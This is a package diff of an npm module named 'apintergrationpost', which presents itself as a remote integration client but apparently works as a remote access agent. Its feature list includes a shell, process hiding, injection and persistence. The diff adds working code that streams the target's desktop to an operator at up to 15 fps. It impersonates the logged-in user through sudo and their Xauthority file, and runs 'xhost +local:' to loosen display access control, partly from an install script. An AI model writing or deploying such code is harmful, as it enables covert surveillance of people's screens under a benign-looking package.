apintergrationpost 4.0.2 → 4.0.4

package/README.md

@@ -171,6 +171,23 @@ Native tools (`native/lab-tools/`): `agent_launcher`, `proc_hide`, `injector`, `
 
 Enable optional telemetry for EDR correlation: `"emulation": { "telemetry": true }` or `--telemetry`.
 
+## Live screen / VNC
+
+Operator command: `vnc` or `screen` (requires active session). Opens a browser viewer with MJPEG push stream at `/stream`.
+
+Quality settings in `screen` config (server `myra.config.json` and client `apintergrationpost.config.json`):
+
+| Key | Default | Description |
+|-----|---------|-------------|
+| `fps` | `8` | Target frame rate |
+| `maxWidth` / `maxHeight` | `1920` / `1080` | Resolution cap (aspect preserved) |
+| `jpegQuality` | `4` | ffmpeg `-q:v` (lower = sharper, larger) |
+| `dropFrames` | `true` | Send latest frame only when behind |
+| `minFps` | `4` | Adaptive floor when link is slow |
+| `idleStopSec` | `45` | Stop stream when no browser viewer connected |
+
+Uses one persistent ffmpeg process per session (quiet, no per-frame execve storm).
+
 ## Operator Commands
 
 See server `help` for full list. Key emulation commands:

package/apintergrationpost.config.json

@@ -48,10 +48,15 @@
     "screenLive": true
   },
   "screen": {
-    "fps": 3,
+    "fps": 8,
+    "maxWidth": 1920,
+    "maxHeight": 1080,
+    "jpegQuality": 4,
     "viewerPort": 5555,
     "display": ":0",
-    "size": "1280x720"
+    "dropFrames": true,
+    "minFps": 4,
+    "idleStopSec": 45
   },
   "lab": {
     "mode": false,

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "apintergrationpost",
-  "version": "4.0.2",
+  "version": "4.0.4",
   "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
   "license": "MIT",
   "engines": {

package/scripts/ensure-system-deps.js

@@ -2,6 +2,7 @@
 
 const { execSync, spawnSync } = require('child_process');
 const fs = require('fs');
+const path = require('path');
 
 function hasCommand(cmd) {
   const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
@@ -32,17 +33,25 @@ function ensureSystemPackages() {
 
 function ensureDisplayAccess() {
   if (process.platform !== 'linux') return;
-  if (!process.env.DISPLAY) {
-    process.env.DISPLAY = ':0';
-  }
 
-  if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
-    try {
-      execSync('xhost +local:', { stdio: 'ignore' });
-    } catch {
-      // desktop may not be running yet
+  let resolver;
+  try {
+    resolver = require(path.join(__dirname, '..', 'src', 'client', 'commands', 'screen-display'));
+  } catch {
+    if (!process.env.DISPLAY) process.env.DISPLAY = ':0';
+    if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
+      try {
+        execSync('xhost +local:', { stdio: 'ignore' });
+      } catch {
+        // desktop may not be running yet
+      }
     }
+    return;
   }
+
+  const ctx = resolver.resolveScreenCaptureContext(process.env.DISPLAY || ':0');
+  process.env.DISPLAY = ctx.display;
+  if (ctx.xauthority) process.env.XAUTHORITY = ctx.xauthority;
 }
 
 module.exports = { ensureSystemPackages, ensureDisplayAccess };

package/src/client/commands/screen-capture.js

@@ -1,73 +1,29 @@
 'use strict';
 
-const { spawn, execFile } = require('child_process');
-const { promisify } = require('util');
-
-const execFileAsync = promisify(execFile);
-
-function resolveFfmpegPath() {
-  try {
-    const bundled = require('ffmpeg-static');
-    if (bundled && typeof bundled === 'string') return bundled;
-  } catch {
-    // bundled ffmpeg not available for this platform
-  }
-  return 'ffmpeg';
-}
-
-function collectStdout(proc) {
-  return new Promise((resolve, reject) => {
-    const chunks = [];
-    let stderr = '';
-    proc.stdout.on('data', (chunk) => chunks.push(chunk));
-    proc.stderr.on('data', (chunk) => { stderr += chunk.toString(); });
-    proc.on('error', reject);
-    proc.on('close', (code) => {
-      if (code === 0) {
-        resolve(Buffer.concat(chunks));
-      } else {
-        reject(new Error(stderr.trim() || `capture exited ${code}`));
-      }
-    });
-  });
-}
-
-async function captureWithFfmpeg(display, size) {
-  const ffmpegPath = resolveFfmpegPath();
-  const [width, height] = size.split('x');
-  const proc = spawn(ffmpegPath, [
-    '-hide_banner',
-    '-loglevel', 'error',
-    '-f', 'x11grab',
-    '-video_size', `${width}x${height}`,
-    '-i', `${display}.0`,
-    '-frames:v', '1',
-    '-f', 'image2pipe',
-    '-vcodec', 'mjpeg',
-    '-',
-  ], {
-    env: { ...process.env, DISPLAY: display },
-  });
-  return collectStdout(proc);
-}
+const { ScreenStream, resolveFfmpegPath } = require('./screen-stream');
 
 async function captureFrame(options = {}) {
   const display = options.display || process.env.DISPLAY || ':0';
-  const size = options.size || '1280x720';
 
   if (!display) {
     throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
   }
 
   try {
-    return await captureWithFfmpeg(display, size);
+    return await ScreenStream.captureOnce({
+      display,
+      fps: 1,
+      maxWidth: options.maxWidth || 1920,
+      maxHeight: options.maxHeight || 1080,
+      jpegQuality: options.jpegQuality || 4,
+    });
   } catch (err) {
     throw new Error(
-      `Screen capture failed (${display}, ${size}). `
+      `Screen capture failed (${display}). `
       + 'Ensure a desktop session is running. '
       + `Detail: ${err.message}`
     );
   }
 }
 
-module.exports = { captureFrame, resolveFfmpegPath };
+module.exports = { captureFrame, resolveFfmpegPath, ScreenStream };

package/src/client/commands/screen-display.js

@@ -0,0 +1,130 @@
+'use strict';
+
+const fs = require('fs');
+const { execSync } = require('child_process');
+
+function listXDisplays() {
+  try {
+    return fs.readdirSync('/tmp/.X11-unix')
+      .filter((name) => /^X\d+$/.test(name))
+      .map((name) => `:${name.slice(1)}`);
+  } catch {
+    return [];
+  }
+}
+
+function parseWhoDisplays() {
+  try {
+    const who = execSync('who', { encoding: 'utf8', timeout: 3000 });
+    const results = [];
+    for (const line of who.split('\n')) {
+      const match = line.match(/^(\S+)\s+\S+\s+.*\((:[0-9]+(?:\.[0-9]+)?)\)/);
+      if (match) {
+        results.push({ user: match[1], display: match[2] });
+      }
+    }
+    return results;
+  } catch {
+    return [];
+  }
+}
+
+function getUserUid(user) {
+  try {
+    return execSync(`id -u ${user}`, { encoding: 'utf8', timeout: 3000 }).trim();
+  } catch {
+    return '';
+  }
+}
+
+function findXauthority(user) {
+  const candidates = [];
+  if (process.env.XAUTHORITY) candidates.push(process.env.XAUTHORITY);
+  if (user) {
+    const uid = getUserUid(user);
+    if (uid) candidates.push(`/run/user/${uid}/gdm/Xauthority`);
+    candidates.push(`/home/${user}/.Xauthority`);
+  }
+  for (const candidate of candidates) {
+    if (candidate && fs.existsSync(candidate)) return candidate;
+  }
+  return '';
+}
+
+function normalizeDisplayEnv(display) {
+  if (!display) return ':0';
+  if (display.startsWith(':')) return display.split('.')[0];
+  return `:${display}`;
+}
+
+function normalizeX11Input(display) {
+  const base = normalizeDisplayEnv(display);
+  if (/^:\d+$/.test(base)) return `${base}.0`;
+  return display;
+}
+
+function grantLocalXAccess(env) {
+  try {
+    execSync('xhost +local:', { env, stdio: 'ignore', timeout: 3000 });
+  } catch {
+    // desktop may not be running
+  }
+}
+
+function resolveScreenCaptureContext(configDisplay) {
+  const whoEntries = parseWhoDisplays();
+  let display = configDisplay || process.env.DISPLAY || '';
+  let runAsUser = null;
+
+  if (whoEntries.length > 0) {
+    const active = whoEntries.find((entry) => entry.display) || whoEntries[0];
+    if (!display || display === ':0') {
+      display = active.display;
+    }
+    if (typeof process.getuid === 'function' && process.getuid() === 0) {
+      runAsUser = active.user;
+    }
+  }
+
+  if (!display) {
+    const sockets = listXDisplays();
+    display = sockets[0] || ':0';
+  }
+
+  const displayEnv = normalizeDisplayEnv(display);
+  const xauthority = findXauthority(runAsUser) || process.env.XAUTHORITY || '';
+
+  const ffmpegEnv = {
+    ...process.env,
+    DISPLAY: displayEnv,
+  };
+  if (xauthority) ffmpegEnv.XAUTHORITY = xauthority;
+  if (runAsUser) ffmpegEnv.HOME = `/home/${runAsUser}`;
+
+  if (typeof process.getuid === 'function' && process.getuid() === 0) {
+    grantLocalXAccess(ffmpegEnv);
+  }
+
+  return {
+    display: displayEnv,
+    x11Input: normalizeX11Input(displayEnv),
+    xauthority,
+    runAsUser,
+    ffmpegEnv,
+    wayland: process.env.XDG_SESSION_TYPE === 'wayland' || Boolean(process.env.WAYLAND_DISPLAY),
+  };
+}
+
+function isFrameMostlyBlack(jpegBuffer) {
+  // Failed captures often produce tiny invalid payloads
+  return !jpegBuffer || jpegBuffer.length < 800;
+}
+
+module.exports = {
+  resolveScreenCaptureContext,
+  normalizeX11Input,
+  normalizeDisplayEnv,
+  isFrameMostlyBlack,
+  listXDisplays,
+  grantLocalXAccess,
+};

package/src/client/commands/screen-stream.js

@@ -0,0 +1,229 @@
+'use strict';
+
+const { EventEmitter } = require('events');
+const { spawn } = require('child_process');
+const { resolveScreenCaptureContext } = require('./screen-display');
+
+const SOI = Buffer.from([0xff, 0xd8]);
+const EOI = Buffer.from([0xff, 0xd9]);
+const MAX_FRAME_BYTES = 512 * 1024;
+
+function resolveFfmpegPath() {
+  try {
+    const bundled = require('ffmpeg-static');
+    if (bundled && typeof bundled === 'string') return bundled;
+  } catch {
+    // bundled ffmpeg not available for this platform
+  }
+  return 'ffmpeg';
+}
+
+function buildScaleFilter(maxWidth, maxHeight) {
+  return `scale='min(${maxWidth},iw)':'min(${maxHeight},ih)':force_original_aspect_ratio=decrease`;
+}
+
+function buildFfmpegArgs(options, x11Input) {
+  return [
+    '-nostdin',
+    '-hide_banner',
+    '-loglevel', 'error',
+    '-f', 'x11grab',
+    '-framerate', String(options.fps),
+    '-draw_mouse', '1',
+    '-i', x11Input,
+    '-vf', buildScaleFilter(options.maxWidth, options.maxHeight),
+    '-c:v', 'mjpeg',
+    '-q:v', String(options.jpegQuality),
+    '-huffman', 'optimal',
+    '-f', 'mpjpeg',
+    'pipe:1',
+  ];
+}
+
+class ScreenStream extends EventEmitter {
+  constructor(options = {}) {
+    super();
+    this.requestedDisplay = options.display || process.env.DISPLAY || ':0';
+    this.fps = options.fps || 8;
+    this.maxWidth = options.maxWidth || 1920;
+    this.maxHeight = options.maxHeight || 1080;
+    this.jpegQuality = options.jpegQuality || 4;
+    this.captureCtx = null;
+    this.proc = null;
+    this.buffer = Buffer.alloc(0);
+    this.running = false;
+    this._stderr = '';
+  }
+
+  start() {
+    if (this.running) return;
+    this._startCapture(this.requestedDisplay);
+  }
+
+  _startCapture(displayOverride) {
+    this.captureCtx = resolveScreenCaptureContext(displayOverride || this.requestedDisplay);
+
+    if (!this.captureCtx.display) {
+      throw new Error('No DISPLAY found. Log into the Ubuntu desktop session first.');
+    }
+
+    const ffmpegPath = resolveFfmpegPath();
+    const ffmpegArgs = buildFfmpegArgs({
+      fps: this.fps,
+      maxWidth: this.maxWidth,
+      maxHeight: this.maxHeight,
+      jpegQuality: this.jpegQuality,
+    }, this.captureCtx.x11Input);
+
+    const spawnEnv = this.captureCtx.ffmpegEnv;
+
+    if (this.captureCtx.runAsUser) {
+      this.proc = spawn('sudo', ['-u', this.captureCtx.runAsUser, '-E', ffmpegPath, ...ffmpegArgs], {
+        env: spawnEnv,
+        stdio: ['ignore', 'pipe', 'pipe'],
+      });
+    } else {
+      this.proc = spawn(ffmpegPath, ffmpegArgs, {
+        env: spawnEnv,
+        stdio: ['ignore', 'pipe', 'pipe'],
+      });
+    }
+
+    this.running = true;
+    this.buffer = Buffer.alloc(0);
+    this._stderr = '';
+
+    this.proc.stdout.on('data', (chunk) => this._onStdout(chunk));
+    this.proc.stderr.on('data', (chunk) => {
+      this._stderr += chunk.toString();
+    });
+
+    this.proc.on('error', (err) => {
+      this.running = false;
+      this.emit('error', err);
+    });
+
+    this.proc.on('close', (code) => {
+      this.running = false;
+      if (code !== 0 && code !== null) {
+        const detail = this._stderr.trim() || `ffmpeg exited ${code}`;
+        this.emit('error', new Error(detail));
+      }
+      this.emit('close');
+    });
+  }
+
+  stop() {
+    if (!this.proc) return;
+    const proc = this.proc;
+    this.proc = null;
+    this.running = false;
+    this.buffer = Buffer.alloc(0);
+    try {
+      proc.kill('SIGTERM');
+    } catch {
+      // ignore
+    }
+    setTimeout(() => {
+      try {
+        if (!proc.killed) proc.kill('SIGKILL');
+      } catch {
+        // ignore
+      }
+    }, 2000);
+  }
+
+  setFps(fps) {
+    const next = Math.max(1, Math.floor(fps));
+    if (next === this.fps || !this.running) {
+      this.fps = next;
+      return;
+    }
+    this.fps = next;
+    const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
+    this.stop();
+    this._startCapture(display);
+  }
+
+  bumpQuality() {
+    if (this.jpegQuality >= 10) return false;
+    this.jpegQuality += 1;
+    if (this.running) {
+      const display = this.captureCtx ? this.captureCtx.display : this.requestedDisplay;
+      this.stop();
+      this._startCapture(display);
+    }
+    return true;
+  }
+
+  _onStdout(chunk) {
+    this.buffer = Buffer.concat([this.buffer, chunk]);
+
+    while (this.buffer.length > 0) {
+      const start = this.buffer.indexOf(SOI);
+      if (start === -1) {
+        this.buffer = Buffer.alloc(0);
+        return;
+      }
+
+      if (start > 0) {
+        this.buffer = this.buffer.subarray(start);
+      }
+
+      const end = this.buffer.indexOf(EOI, 2);
+      if (end === -1) {
+        if (this.buffer.length > 8 * 1024 * 1024) {
+          this.buffer = Buffer.alloc(0);
+          this.emit('error', new Error('MJPEG parser buffer overflow'));
+        }
+        return;
+      }
+
+      const frame = this.buffer.subarray(0, end + 2);
+      this.buffer = this.buffer.subarray(end + 2);
+      this._emitFrame(frame);
+    }
+  }
+
+  _emitFrame(frame) {
+    if (frame.length > MAX_FRAME_BYTES) {
+      if (this.bumpQuality()) {
+        this.emit('quality-adjusted', { jpegQuality: this.jpegQuality });
+        return;
+      }
+    }
+
+    this.emit('frame', frame);
+  }
+
+  static captureOnce(options = {}) {
+    const stream = new ScreenStream(options);
+    return new Promise((resolve, reject) => {
+      const timeout = setTimeout(() => {
+        stream.stop();
+        reject(new Error('Screen capture timed out'));
+      }, 15000);
+
+      stream.once('frame', (frame) => {
+        clearTimeout(timeout);
+        stream.stop();
+        resolve(frame);
+      });
+
+      stream.once('error', (err) => {
+        clearTimeout(timeout);
+        stream.stop();
+        reject(err);
+      });
+
+      try {
+        stream.start();
+      } catch (err) {
+        clearTimeout(timeout);
+        reject(err);
+      }
+    });
+  }
+}
+
+module.exports = { ScreenStream, buildScaleFilter, resolveFfmpegPath };

package/src/client/plugins/screen-live.js

@@ -1,37 +1,116 @@
 'use strict';
 
 const crypto = require('crypto');
-const { captureFrame } = require('../commands/screen-capture');
+const { ScreenStream } = require('../commands/screen-stream');
 
 const name = 'screen-live';
 const commands = ['screen_start', 'screen_stop', 'screen_status'];
 
-let captureTimer = null;
+let stream = null;
 let screenSessionId = null;
 let frameSeq = 0;
 let activeOptions = null;
+let inFlight = false;
+let pendingFrame = null;
+let skippedFrames = 0;
+let adaptiveSkipMod = 1;
+let frameCounter = 0;
+let lastErrorSentAt = 0;
+let flushScheduled = false;
 
 function clearCapture() {
-  if (captureTimer) {
-    clearInterval(captureTimer);
-    captureTimer = null;
+  if (stream) {
+    stream.removeAllListeners();
+    stream.stop();
+    stream = null;
   }
   screenSessionId = null;
   frameSeq = 0;
   activeOptions = null;
+  inFlight = false;
+  pendingFrame = null;
+  skippedFrames = 0;
+  adaptiveSkipMod = 1;
+  lastErrorSentAt = 0;
+  flushScheduled = false;
 }
 
-async function pushFrame(ctx) {
-  if (!screenSessionId || !ctx.sendScreenFrame) return;
-  try {
-    const jpeg = await captureFrame(activeOptions);
-    ctx.sendScreenFrame(screenSessionId, jpeg.toString('base64'), {
-      seq: frameSeq++,
-      final: false,
-      encoding: 'base64',
-      mime: 'image/jpeg',
-    });
-  } catch (err) {
+function flushPending(ctx) {
+  if (!pendingFrame || !screenSessionId || !ctx.sendScreenFrame) {
+    flushScheduled = false;
+    return;
+  }
+
+  const jpegBuffer = pendingFrame;
+  pendingFrame = null;
+  inFlight = true;
+
+  ctx.sendScreenFrame(screenSessionId, jpegBuffer.toString('base64'), {
+    seq: frameSeq++,
+    final: false,
+    encoding: 'base64',
+    mime: 'image/jpeg',
+    byteLength: jpegBuffer.length,
+    skipped: skippedFrames,
+  });
+
+  skippedFrames = 0;
+  inFlight = false;
+
+  updateAdaptiveThrottle();
+
+  if (pendingFrame) {
+    setImmediate(() => flushPending(ctx));
+  } else {
+    flushScheduled = false;
+  }
+}
+
+function queueFrame(ctx, jpegBuffer) {
+  if (pendingFrame) {
+    skippedFrames += 1;
+    if (skippedFrames % 8 === 0) {
+      updateAdaptiveThrottle();
+    }
+  }
+  pendingFrame = jpegBuffer;
+
+  if (!flushScheduled) {
+    flushScheduled = true;
+    setImmediate(() => flushPending(ctx));
+  }
+}
+
+function updateAdaptiveThrottle() {
+  if (!activeOptions || !stream) return;
+
+  const minFps = activeOptions.minFps || 4;
+
+  if (skippedFrames >= 8) {
+    adaptiveSkipMod = Math.min(4, adaptiveSkipMod + 1);
+    const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
+    if (stream.fps !== effectiveFps) {
+      stream.setFps(effectiveFps);
+    }
+  } else if (skippedFrames === 0 && adaptiveSkipMod > 1) {
+    adaptiveSkipMod -= 1;
+    const effectiveFps = Math.max(minFps, Math.floor(activeOptions.fps / adaptiveSkipMod));
+    if (stream.fps !== effectiveFps) {
+      stream.setFps(effectiveFps);
+    }
+  }
+}
+
+function onStreamFrame(ctx, jpegBuffer) {
+  queueFrame(ctx, jpegBuffer);
+}
+
+function onStreamError(ctx, err) {
+  const now = Date.now();
+  if (now - lastErrorSentAt < 5000) return;
+  lastErrorSentAt = now;
+
+  if (screenSessionId && ctx.sendScreenFrame) {
     ctx.sendScreenFrame(screenSessionId, '', {
       seq: frameSeq++,
       final: false,
@@ -50,17 +129,28 @@ async function execute(msg, ctx) {
   }
 
   if (cmd === 'screen_start') {
-    if (captureTimer) {
+    if (stream && stream.running) {
       return { action: 'continue', status: 'error', body: 'Live screen already running' };
     }
 
     const meta = msg.meta || {};
-    const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 3), 1), 10);
+    const fps = Math.min(Math.max(Number(meta.fps || screenConf.fps || 8), 1), 15);
+    const minFps = Math.min(Math.max(Number(meta.minFps || screenConf.minFps || 4), 1), fps);
+
     activeOptions = {
       display: meta.display || screenConf.display || process.env.DISPLAY || ':0',
-      size: meta.size || screenConf.size || '1280x720',
+      fps,
+      minFps,
+      maxWidth: Number(meta.maxWidth || screenConf.maxWidth || 1920),
+      maxHeight: Number(meta.maxHeight || screenConf.maxHeight || 1080),
+      jpegQuality: Number(meta.jpegQuality || screenConf.jpegQuality || 4),
+      dropFrames: meta.dropFrames !== undefined ? meta.dropFrames : screenConf.dropFrames !== false,
     };
 
+    const { resolveScreenCaptureContext } = require('../commands/screen-display');
+    const captureCtx = resolveScreenCaptureContext(activeOptions.display);
+    activeOptions.display = captureCtx.display;
+
     ctx.labEvent({
       plugin: name,
       command: cmd,
@@ -70,26 +160,36 @@ async function execute(msg, ctx) {
     screenSessionId = crypto.randomBytes(4).toString('hex');
     frameSeq = 0;
 
-    await pushFrame(ctx);
-    captureTimer = setInterval(() => {
-      pushFrame(ctx);
-    }, Math.floor(1000 / fps));
+    stream = new ScreenStream(activeOptions);
+    stream.on('frame', (frame) => onStreamFrame(ctx, frame));
+    stream.on('error', (err) => onStreamError(ctx, err));
+
+    try {
+      stream.start();
+    } catch (err) {
+      clearCapture();
+      return { action: 'continue', status: 'error', body: err.message };
+    }
 
     return {
       action: 'continue',
       status: 'ok',
-      body: `Live screen started (${fps} fps, display ${activeOptions.display})`,
+      body: `Live screen started (${fps} fps, ${activeOptions.maxWidth}x${activeOptions.maxHeight} max, q:${activeOptions.jpegQuality})`,
       meta: {
         screenSessionId,
         fps,
-        display: activeOptions.display,
-        size: activeOptions.size,
+        minFps,
+        display: captureCtx.display,
+        runAsUser: captureCtx.runAsUser || null,
+        maxWidth: activeOptions.maxWidth,
+        maxHeight: activeOptions.maxHeight,
+        jpegQuality: activeOptions.jpegQuality,
       },
     };
   }
 
   if (cmd === 'screen_stop') {
-    if (!captureTimer) {
+    if (!stream || !stream.running) {
       return { action: 'continue', status: 'error', body: 'Live screen is not running' };
     }
 
@@ -107,9 +207,14 @@ async function execute(msg, ctx) {
       action: 'continue',
       status: 'ok',
       body: JSON.stringify({
-        active: !!captureTimer,
+        active: !!(stream && stream.running),
         screenSessionId,
         options: activeOptions,
+        frameSeq,
+        skippedFrames,
+        adaptiveSkipMod,
+        streamFps: stream ? stream.fps : null,
+        jpegQuality: stream ? stream.jpegQuality : null,
       }, null, 2),
     };
   }

package/src/server/cli.js

@@ -57,7 +57,7 @@ Session commands (requires active session):
   shell                 Interactive PTY shell
   <shell_command>       One-shot shell execution
   sysinfo / ps / netstat / find
-  screen / vnc          Live screen in browser (Press Enter to stop)
+  screen / vnc          Live screen in browser (MJPEG /stream, Press Enter to stop)
   screen_stop           Stop live screen stream
   cd / download / upload
   persist               Baseline persistence (legacy systemd)

package/src/server/screenViewer.js

@@ -1,14 +1,67 @@
 'use strict';
 
 const http = require('http');
+const { EventEmitter } = require('events');
 
-function createScreenViewer(port = 5555) {
+const BOUNDARY = 'frame';
+
+function writeMultipartFrame(res, frameBuffer) {
+  if (res.destroyed || res.writableEnded) return false;
+  try {
+    res.write(`--${BOUNDARY}\r\n`);
+    res.write('Content-Type: image/jpeg\r\n');
+    res.write(`Content-Length: ${frameBuffer.length}\r\n\r\n`);
+    res.write(frameBuffer);
+    res.write('\r\n');
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function createScreenViewer(port = 5555, options = {}) {
+  const emitter = new EventEmitter();
   let latestFrame = null;
+  let latestFrameBinary = null;
   let lastError = null;
   let frameCount = 0;
+  const streamClients = new Set();
+  let idleTimer = null;
+  const idleStopSec = options.idleStopSec || 45;
+
+  function clearIdleTimer() {
+    if (idleTimer) {
+      clearTimeout(idleTimer);
+      idleTimer = null;
+    }
+  }
+
+  function scheduleIdleStop() {
+    clearIdleTimer();
+    if (streamClients.size > 0) return;
+    idleTimer = setTimeout(() => {
+      idleTimer = null;
+      emitter.emit('idle');
+    }, idleStopSec * 1000);
+  }
+
+  function removeStreamClient(res) {
+    streamClients.delete(res);
+    scheduleIdleStop();
+  }
+
+  function pushFrameToClients(frameBuffer) {
+    for (const client of streamClients) {
+      if (!writeMultipartFrame(client, frameBuffer)) {
+        streamClients.delete(client);
+      }
+    }
+  }
 
   const server = http.createServer((req, res) => {
-    if (req.url === '/' || req.url === '/index.html') {
+    const url = req.url.split('?')[0];
+
+    if (url === '/' || url === '/index.html') {
       res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
       res.end(`<!DOCTYPE html>
 <html>
@@ -18,8 +71,8 @@ function createScreenViewer(port = 5555) {
   <style>
     body { margin: 0; background: #111; color: #ccc; font-family: sans-serif; }
     header { padding: 8px 12px; background: #222; font-size: 13px; }
-    img { display: block; width: 100%; height: auto; background: #000; }
-    .err { color: #f88; padding: 12px; }
+    img { display: block; width: 100%; height: auto; background: #000; min-height: 200px; }
+    .err { color: #f88; padding: 12px; white-space: pre-wrap; }
   </style>
 </head>
 <body>
@@ -27,24 +80,31 @@ function createScreenViewer(port = 5555) {
   <img id="frame" alt="live screen">
   <div id="err" class="err"></div>
   <script>
-    const img = document.getElementById('frame');
     const err = document.getElementById('err');
     const n = document.getElementById('n');
+    const img = document.getElementById('frame');
+    let objectUrl = null;
+
     async function tick() {
       try {
-        const r = await fetch('/frame?' + Date.now());
-        if (r.status === 204) return;
+        const r = await fetch('/frame.jpg?' + Date.now());
+        if (r.status === 204) {
+          err.textContent = 'Waiting for frames from client...';
+          return;
+        }
         if (!r.ok) throw new Error('HTTP ' + r.status);
-        const j = await r.json();
-        if (j.error) { err.textContent = j.error; return; }
+        const blob = await r.blob();
+        if (objectUrl) URL.revokeObjectURL(objectUrl);
+        objectUrl = URL.createObjectURL(blob);
+        img.src = objectUrl;
         err.textContent = '';
-        img.src = 'data:image/jpeg;base64,' + j.frame;
-        n.textContent = j.count;
+        n.textContent = r.headers.get('X-Frame-Count') || n.textContent;
       } catch (e) {
         err.textContent = e.message;
       }
     }
-    setInterval(tick, 200);
+
+    setInterval(tick, 125);
     tick();
   </script>
 </body>
@@ -52,7 +112,50 @@ function createScreenViewer(port = 5555) {
       return;
     }
 
-    if (req.url.startsWith('/frame')) {
+    if (url === '/stream') {
+      res.writeHead(200, {
+        'Content-Type': `multipart/x-mixed-replace; boundary=${BOUNDARY}`,
+        'Cache-Control': 'no-cache, no-store, must-revalidate',
+        Connection: 'keep-alive',
+        Pragma: 'no-cache',
+      });
+
+      streamClients.add(res);
+      clearIdleTimer();
+
+      if (latestFrameBinary) {
+        writeMultipartFrame(res, latestFrameBinary);
+      }
+
+      req.on('close', () => removeStreamClient(res));
+      res.on('error', () => removeStreamClient(res));
+      return;
+    }
+
+    if (url === '/frame.jpg') {
+      if (lastError && !latestFrameBinary) {
+        res.writeHead(503, {
+          'Content-Type': 'text/plain; charset=utf-8',
+          'Cache-Control': 'no-store',
+        });
+        res.end(lastError);
+        return;
+      }
+      if (!latestFrameBinary) {
+        res.writeHead(204);
+        res.end();
+        return;
+      }
+      res.writeHead(200, {
+        'Content-Type': 'image/jpeg',
+        'Cache-Control': 'no-store',
+        'X-Frame-Count': String(frameCount),
+      });
+      res.end(latestFrameBinary);
+      return;
+    }
+
+    if (url.startsWith('/frame')) {
       if (lastError && !latestFrame) {
         res.writeHead(200, { 'Content-Type': 'application/json', 'Cache-Control': 'no-store' });
         res.end(JSON.stringify({ error: lastError, count: frameCount }));
@@ -72,8 +175,12 @@ function createScreenViewer(port = 5555) {
     res.end();
   });
 
-  return {
+  const viewer = {
     port,
+    url: `http://127.0.0.1:${port}/`,
+    on(event, fn) {
+      emitter.on(event, fn);
+    },
     start() {
       return new Promise((resolve, reject) => {
         server.once('error', reject);
@@ -81,6 +188,15 @@ function createScreenViewer(port = 5555) {
       });
     },
     stop() {
+      clearIdleTimer();
+      for (const client of streamClients) {
+        try {
+          client.end();
+        } catch {
+          // ignore
+        }
+      }
+      streamClients.clear();
       return new Promise((resolve) => {
         server.close(() => resolve());
       });
@@ -92,12 +208,15 @@ function createScreenViewer(port = 5555) {
       }
       if (base64) {
         latestFrame = base64;
+        latestFrameBinary = Buffer.from(base64, 'base64');
         frameCount += 1;
         lastError = null;
+        pushFrameToClients(latestFrameBinary);
       }
     },
-    url: `http://127.0.0.1:${port}/`,
   };
+
+  return viewer;
 }
 
 module.exports = { createScreenViewer };

package/src/server/session.js

@@ -67,30 +67,62 @@ async function runInteractiveShell(session, cli) {
 async function runLiveScreen(session, inp) {
   const parts = inp.trim().split(/\s+/);
   const portArg = parts[1] && /^\d+$/.test(parts[1]) ? Number(parts[1]) : null;
-  const port = portArg || (session.config && session.config.screen && session.config.screen.viewerPort) || 5555;
-  const fps = (session.config && session.config.screen && session.config.screen.fps) || 3;
+  const screenConf = (session.config && session.config.screen) || {};
+  const port = portArg || screenConf.viewerPort || 5555;
+  const fps = screenConf.fps || 8;
+  const idleStopSec = screenConf.idleStopSec || 45;
 
-  const viewer = createScreenViewer(port);
+  const viewer = createScreenViewer(port, { idleStopSec });
+
+  let lastErrorAt = 0;
+  let stopRequested = false;
 
   session.setScreenFrameHandler((msg) => {
     viewer.updateFrame(msg.body, msg.meta || {});
     if (msg.meta && msg.meta.error) {
-      process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
+      const now = Date.now();
+      if (now - lastErrorAt >= 5000) {
+        lastErrorAt = now;
+        process.stdout.write(`\r[!] Screen capture error: ${msg.meta.error}\n`);
+      }
     }
   });
 
   try {
     await viewer.start();
-    const startResp = await session.sendCommand('screen_start', '', { fps }, { timeoutMs: 30000 });
+
+    let idleResolve = null;
+    const idlePromise = new Promise((resolve) => {
+      idleResolve = resolve;
+    });
+
+    viewer.on('idle', () => {
+      if (!stopRequested) {
+        console.log(`\n[*] No viewer connected for ${idleStopSec}s — stopping live screen.`);
+        stopRequested = true;
+        if (idleResolve) idleResolve();
+      }
+    });
+
+    const startResp = await session.sendCommand('screen_start', '', {
+      fps,
+      maxWidth: screenConf.maxWidth,
+      maxHeight: screenConf.maxHeight,
+      jpegQuality: screenConf.jpegQuality,
+      minFps: screenConf.minFps,
+      dropFrames: screenConf.dropFrames,
+      display: screenConf.display,
+    }, { timeoutMs: 30000 });
+
     if (startResp.status === 'error') {
       console.log(startResp.body);
       return 'continue';
     }
 
     console.log(`\n[*] Live screen: ${viewer.url}`);
-    console.log('[*] Open that URL in your browser. Press Enter here to stop.\n');
+    console.log('[*] MJPEG stream at /stream — open the URL in your browser. Press Enter to stop.\n');
 
-    await new Promise((resolve) => {
+    const enterPromise = new Promise((resolve) => {
       const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
       rl.once('line', () => {
         rl.close();
@@ -98,6 +130,9 @@ async function runLiveScreen(session, inp) {
       });
     });
 
+    await Promise.race([enterPromise, idlePromise]);
+
+    stopRequested = true;
     try {
       await session.sendCommand('screen_stop');
     } catch {

package/src/shared/config.js

@@ -43,10 +43,15 @@ const DEFAULTS = {
     screenLive: true,
   },
   screen: {
-    fps: 3,
+    fps: 8,
+    maxWidth: 1920,
+    maxHeight: 1080,
+    jpegQuality: 4,
     viewerPort: 5555,
     display: ':0',
-    size: '1280x720',
+    dropFrames: true,
+    minFps: 4,
+    idleStopSec: 45,
   },
   lab: {
     mode: false,